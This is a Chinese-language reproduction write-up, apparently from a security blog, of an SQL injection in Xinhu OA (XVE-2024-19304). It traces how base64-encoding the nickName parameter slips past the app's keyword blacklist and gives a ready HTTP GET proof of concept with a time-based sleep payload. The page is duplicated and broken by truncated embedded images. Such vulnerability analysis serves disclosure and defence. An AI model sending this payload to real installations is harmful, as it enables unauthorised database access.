|
|||
|
|
$this->lvlaraa = explode(',','select,alter,delete,drop,update,/\*,\*/,insert,from,time\_so\_sec,convert,from\_unixtime,unix\_timestamp,curtime,time\_format,union,concat,information\_schema,group\_concat,length,load\_file,outfile,database,system\_user,current\_user,user(),found\_rows,declare,master,exec,(),select\*from,select\*');
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
返回到openmodhetongAction.php中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
发现这个`nickName`参数经过get传参后会进行dase64ecode方法进行base64解密，
|
|||
|
|
|
|||
|
|
那么如果我们将`nickNname`传入恶意的sql语句进行base64编码，就会绕过`rockClass.php`中的`\_\_construct`方法中的sql语句的过滤，
|
|||
|
|
|
|||
|
|
之后进行base64解密又拼接到sql语句造成sql注入的形成
|
|||
|
|
|
|||
|
|
POC
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1
|
|||
|
|
|
|||
|
|
Host:
|
|||
|
|
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
|
|||
|
|
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
|
|||
|
|
Accept: \*/\*
|
|||
|
|
|
|||
|
|
Connection: keep-alive
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
漏洞复现
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
">信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)
|
|||
|
|
---------------------------------------
|
|||
|
|
|
|||
|
|
产品介绍
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
信呼OA系统是一款功能丰富、灵活易用的协同办公系统，适合中小型企业使用。其免费开源的特性使得用户可以根据自己的需求进行二次开发和定制化改造，从而更好地满足企业的管理需求。同时，系统的跨平台支持和数据自管功能也确保了用户的使用体验和数据安全。
|
|||
|
|
|
|||
|
|
影响版本
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
**v2.6.2之前,最新版已经停用该方法了**
|
|||
|
|
|
|||
|
|
环境搭建
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
搭建环境：phpstudy、php5.6.9、信呼oa v2.6.2
|
|||
|
|
|
|||
|
|
进入navicat新建一个数据库，将`\\webmain\\install`下的.sql文件导入数据库中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
将源码拉入到phpstudy的WWW目录下，配置phpstudy
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
访问该地址localhost:82，进入安装页面，点击知道了
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
之后进入本地配置，输入自己的数据库密码、获取信呼官网key(需要登录)之后，点击直接提交
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
之后就得到默认的账号密码
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
进入到首页登录，输入账号、密码
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
漏洞分析
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
来到`index.php`分析代码
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
从`$rock`对象中获取`rewriteurl`参数的值，并赋给`$_uurl`变量。
|
|||
|
|
|
|||
|
|
**如果`$_uurl`不为空，则进行以下操作：**
|
|||
|
|
|
|||
|
|
- 清除`$_GET`数组中的`m`、`d`和`a`参数。
|
|||
|
|
- 将`$m`设置为`$_uurl`的值。
|
|||
|
|
- 使用`_`分割`$_uurl`，根据分割结果设置`$d`、`$m`和`$a`。
|
|||
|
|
- 解析`$_SERVER['REQUEST_URI']`中的查询字符串，并将参数添加到`$_GET`数组中
|
|||
|
|
|
|||
|
|
**如果`$_uurl`为空，则从`$rock`对象中获取`m`、`d`和`a`参数的值。**
|
|||
|
|
|
|||
|
|
**分析代码**
|
|||
|
|
|
|||
|
|
所以，如果没有进行登陆，我们需要给m、d、a三个参数分别传入相对应的值。在POC中使用get传参
|
|||
|
|
|
|||
|
|
`?m=openmodhetong|openapi&d=task&a=data`
|
|||
|
|
|
|||
|
|
`/webmain/task/openapi/openmodhetongAction.php`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
通过跟进到这里我们会发现a后面的参数是对应方法的名字
|
|||
|
|
|
|||
|
|
`nickName`对应的方法是`dataAction`,所以poc里面a的参数的值为`data`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
从这个地方也能看出来,
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
`m`的值是调用openapi,在源码目录下找到这个地方
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
`d`的值是一个固定的值为`task`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
**然后进入到task/openapi/openmodhetongAction.php的dataAction方法中**
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
该方法是通过get方法依次获取请求中的`moblie、xcytype、nickname`等参数，并将这些参数赋值给`uarr`数组中,
|
|||
|
|
|
|||
|
|
之后根据`row($where)`的返回值不同给`$uarr['adddt']`或`$uarr['optdt']`赋值，最后调用`record`方法进行数据库查询
|
|||
|
|
|
|||
|
|
我们进入到get方法中查看是否有什么过滤、点击ctrl进入到get方法声明中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
接着进入到`rockClass.php`中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
这个方法只是判断是否进行get传参如果传参成功就进行赋值操作，
|
|||
|
|
|
|||
|
|
之后进行非空判断，调用`jmucade`方法()将其值返回。该方法中并没有对sql语句进行过滤
|
|||
|
|
|
|||
|
|
我们回到这个类的头部发现，重新定义了`\_\_construct()`魔术方法
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
当我们创建一个rockClass对象时，会自动调用这个魔术方法。这个魔术方法会过滤大部分sql注入一些敏感字符，如果想要造成sql注入就必须在字符串中不出现这些敏感字符
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
'select ,
|
|||
|
|
|
|||
|
|
alter table,delete ,drop ,update ,insert into,load\_file,/\*,\*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select\*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
|
|||
|
|
|
|||
|
|
$this->lvlaraa = explode(',','select,alter,delete,drop,update,/\*,\*/,insert,from,time\_so\_sec,convert,from\_unixtime,unix\_timestamp,curtime,time\_format,union,concat,information\_schema,group\_concat,length,load\_file,outfile,database,system\_user,current\_user,user(),found\_rows,declare,master,exec,(),select\*from,select\*');
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
返回到openmodhetongAction.php中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
发现这个`nickName`参数经过get传参后会进行dase64ecode方法进行base64解密，
|
|||
|
|
|
|||
|
|
那么如果我们将`nickNname`传入恶意的sql语句进行base64编码，就会绕过`rockClass.php`中的`\_\_construct`方法中的sql语句的过滤，
|
|||
|
|
|
|||
|
|
之后进行base64解密又拼接到sql语句造成sql注入的形成
|
|||
|
|
|
|||
|
|
POC
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1
|
|||
|
|
|
|||
|
|
Host:
|
|||
|
|
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
|
|||
|
|
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
|
|||
|
|
Accept: \*/\*
|
|||
|
|
|
|||
|
|
Connection: keep-alive
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
漏洞复现
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
</textarea>
|
|||
|
|
<div id=layer-photos-demo>
|
|||
|
|
<div id=md_view><div class=markdown-body><h2 blockindex=0>信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)</h2>
|
|||
|
|
<h2 blockindex=1>产品介绍</h2>
|
|||
|
|
<p blockindex=2>信呼OA系统是一款功能丰富、灵活易用的协同办公系统，适合中小型企业使用。其免费开源的特性使得用户可以根据自己的需求进行二次开发和定制化改造，从而更好地满足企业的管理需求。同时，系统的跨平台支持和数据自管功能也确保了用户的使用体验和数据安全。</p>
|
|||
|
|
<h2 blockindex=3>影响版本</h2>
|
|||
|
|
<p blockindex=4><strong>v2.6.2之前,最新版已经停用该方法了</strong></p>
|
|||
|
|
<h2 blockindex=5>环境搭建</h2>
|
|||
|
|
<p blockindex=6>搭建环境：phpstudy、php5.6.9、信呼oa v2.6.2</p>
|
|||
|
|
<p blockindex=7>进入navicat新建一个数据库，将<code>\\webmain\\install</code>下的.sql文件导入数据库中</p>
|
|||
|
|
<p blockindex=8><img src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAkACQAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAJ9BQADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD+6TWvHeheKvgx4i+Ifw88Tab4g0LU/h94i8Q+FPFfhy/g1HS9QgTQ7+4sNV0nUbV5be6g82JZbe4gkeNigZWIr8bfAvwT+Lfxw+HHgHx78IP2hPjHLqXiMarofizRvEniTxDdaZ4d8a6Dp099qLXuvaNqtp/YvhvV5IVj0RrrSL+7jm1HTbaeW4Er3Kfsv480bSPDvwZ8a6B4f0rTtD0LRfhn4m0vR9G0iyttN0rStMsPC99bWWn6dp9nHDaWVjZ28ccFra20UcEEMaRRIqKFH45/8E+vi5Z/DnwB8TdN064udQ8X6r4t0i7i0G/N43h2w0KHSEi/tyOOEwRnU769F1p14IrtJ3hs9KaSNoYRn8P8R45TjeM+FMlz51Y5XmOS59OVShjsVgcTh8Vg62X4qjUwssLWpSrVq1OnVwjotSUoV/atP2CR/MnjIshzHxH4D4b4qlXhkWccN8V1J1sLmmOyzGYTHZdicoxuHq4CWBxFCdfE4mlRr4B4dqopU8T7Zxf1ZI+JNf8AFn7SHhjxzqHw21bx98VY/G2ma/8A8IzPoVr468T311NrTXKWtvaWP2XVpVvjeyyw/YmtjIt0k8LRbhIuf6O/hh4xj8Ffs3eBfHHxj8QxeF08OfC3Qdc+IXiXxvfJpKaO1joVvPreo+I7/U3hW0eB1le8lu3RxLuDZkYA/NfhD/gnT8JND8f+GPi1H42+J994j0jxZo3xAit9Q1TwzPp91rFhq1t4gjgvNvhaO/lspbyJY5gt8l01uWC3SykSj2D9t/4S+D/j1+zB8VPgt4/m8SWng/4maPb+Ftc1LwbqcWjeMNGiuNQtbuz17wpqlxBd2dn4j0LU7Ox1fRpNRs77THv7KCLU7G7sZLi3kw8JuAeJOEcTxFmWc4jEyeNSw2U5fVzKOaRWCjV9vSr1qqlh6csXBJUWuXDQq3l71CMm4z9Hfwm4q4CzbifNuL8wx0MLmlWjgcpy2rnSzxUsoWJWJp4vEYmEYR/tCjT/ANnm4YSnGonOpClFS9kdLN+1t+zbbfDKL4yXfxg8IWPw1n8R23hC28T391c2EN34rvShsfDVnp15awaxea9fxyR3NhpNrp0t9e2TrfWsE1mfPrwP4of8FDPg9p/ww0/4j/AHxT4F+PENv+0x+z9+zj40s9B8TtGvgrWvjZ8QPBPhW6TW/s9ldXWn+I/D2g+NLLxEvh3ULW0uJi1va3rWPnM8f5//AA5+EX/BQqCT9lH44/G7QNd/ausf2Zv2jvjMfC/hTUIPgX4H/aI8bfAf4j/CK1+H/wAPfjF4y07TPiRB8ALv4xfDbXzr0DJpvjzSLvXvAXiKbWo10PxQ914THnHhz4WfFr48eK/+CgVh4P8AhHN4d8XQ/wDBWn9gv4v6/wCAJtd8G2+r+HfBfgnwJ+yb468Yaz4hv4fEEnha58Qab4X0y+1zXtP8Oa9rv2q/S4sdBuNduWgNz+800p47BUuZPDyxeTV8Rq4ypYGpnnCuGx1PFOcI2i8Bm+Nni6lFxp5eqUqLxMsRhsTKl/TFV1IYGvVsliHhc3oUkve5sdSyriWrg5YdRbbbxmVYKWEp1VKeNhiIT+rwhWpQn+/Hx1+I1x8Hvgp8W/ixaaVDrl18NPht418eW+i3F09jb6tP4T8O6jrkWmzXkUNxJaRXr2K28lylvO8KyGRYpCoQ+LaX+2r8DdF+GHwQ8c/GTx/4R+FGsfGX4bfD7x9b6JrOp3L2Ojnx3peiz21ve6ybJLTTdN/tfWF0jT9W15tIttQlgmMR3W90sGR+0B+zn4k1/wCE/wC1B/wh3jr4veOPFvxT+DPxZ8LeGfhp4j8e2U/gKHXvFnhbVLLSdP8AD+kalbaXp2hn7dNBZWFxfavHaWME8n2i4SIvKn4uftW/shf8FBPil8C/iT8BJ/CP7QfibwJe/wDBO/4LfCT4HfDD4JfGf4FfC34Wp8dtH8AeILb4nWn7SOu634q0b4k69dab4q0nwnYeGrDwjf618MPFvh3VtS8PeJBFY3d7qtnhTnNfXXODk4xyadGDvGzlT4mqZjSo1EmqlSbwuUwc3CpClOphoy9isQ6kumUFKWDUZqEH/ayrz0le1fhqjgKlSD96MYLF5pUjTjKE6lOliai9osO1D9WNR/4KSfBnwD+1B+0r8AvjZ4m8D/CvQfgT4M+DXjTR/GOr+Irme88T6T8SvD3irXvEGq6no1vpsg0Hw54Pj8OwpdeJJbmTR1W+U393YuYY5vq7xB+0v8AfC/iXwV4P1v4teCrbxL8RdO07WPBWkW+sQ6lc6/our3UVjpGuWp0wXkMWharezxWmma1dy2+l6hcv5FpdzSBlH5QeCvhx+1D8Bf2k/wBrPx3H+xV4n+M3hz40/sr/ALK/w48FeK/Cfjv4C2t3feOvhl8M/Ffh3xX4G8bWfj34meF9R0zwLaaxrdv9r16xt9e86ea/k0/QdYtzHcHxPw9+wJ+2P+y7P+xlrv7Met/EM/H/AMBfA/4Afs//ALQepyTfB/xR+xx8SvhV4M8Za3rfivwz4y0Lxv4x8O/Grwf4o8CQ+KvEM3w28dfDPQPEYm094tH1Pw9NJdW97oXWqcFiIUXUUqax9PCSxKtGNSlUlm8HW5W5Sp0qMsJl0quJgq0Fh8a6lOhVkqarcsakpYapWcZQrfU3iYYeUZTftIwyqo6KnGMV7RwxGPjSozcJ1cRQp0p1KEY4mdH+j2ij60VibBRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUjdD9D/ACoAgpr/AHT+H8xTqY/QfX+hoApT/db/AHf6muR1X7sn+638jXW3H3T9B/6FXH6sTsfnu4/D5uKAPnHxAT/wtj4Z8/8ALl47P4/2XpnNe46J/wAhdP8AsH3v/pRp9eHeIP8AkrHwz/68vHf/AKa9Mr3HRP8AkLp/2D73/wBKNPoA/IL/AIKi/Fb9q/4U/Fn9nLUfhf4/+EHw7+H2r+M9Cs/AeqeJdM+Kl3r+pfFDR/Dfxa8ZfEjRPiXL4Q+IOieHb34Qa18PfC/hjQtM0CbwF4s1q+8Savq19Fq3habTdI1i2+FP2QPjD+2d4x/aQ/Z48LaV+058CvjJoXgnwB4p16LTtPm+M2reCNa+HFn8W/DUHxt8W6/r8fjzR31z4v2fgzxvqGk/DO81/RPiB4P0s+FbLSF8N+HdQuNT8Q
|
|||
|
|
<p blockindex=9>将源码拉入到phpstudy的WWW目录下，配置phpstudy</p>
|
|||
|
|
<p blockindex=10><img src="data:image/jpeg;base64,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
|
|||
|
|
<p blockindex=11>访问该地址localhost:82，进入安装页面，点击知道了</p>
|
|||
|
|
<p blockindex=12><img src="data:image/jpeg;base64,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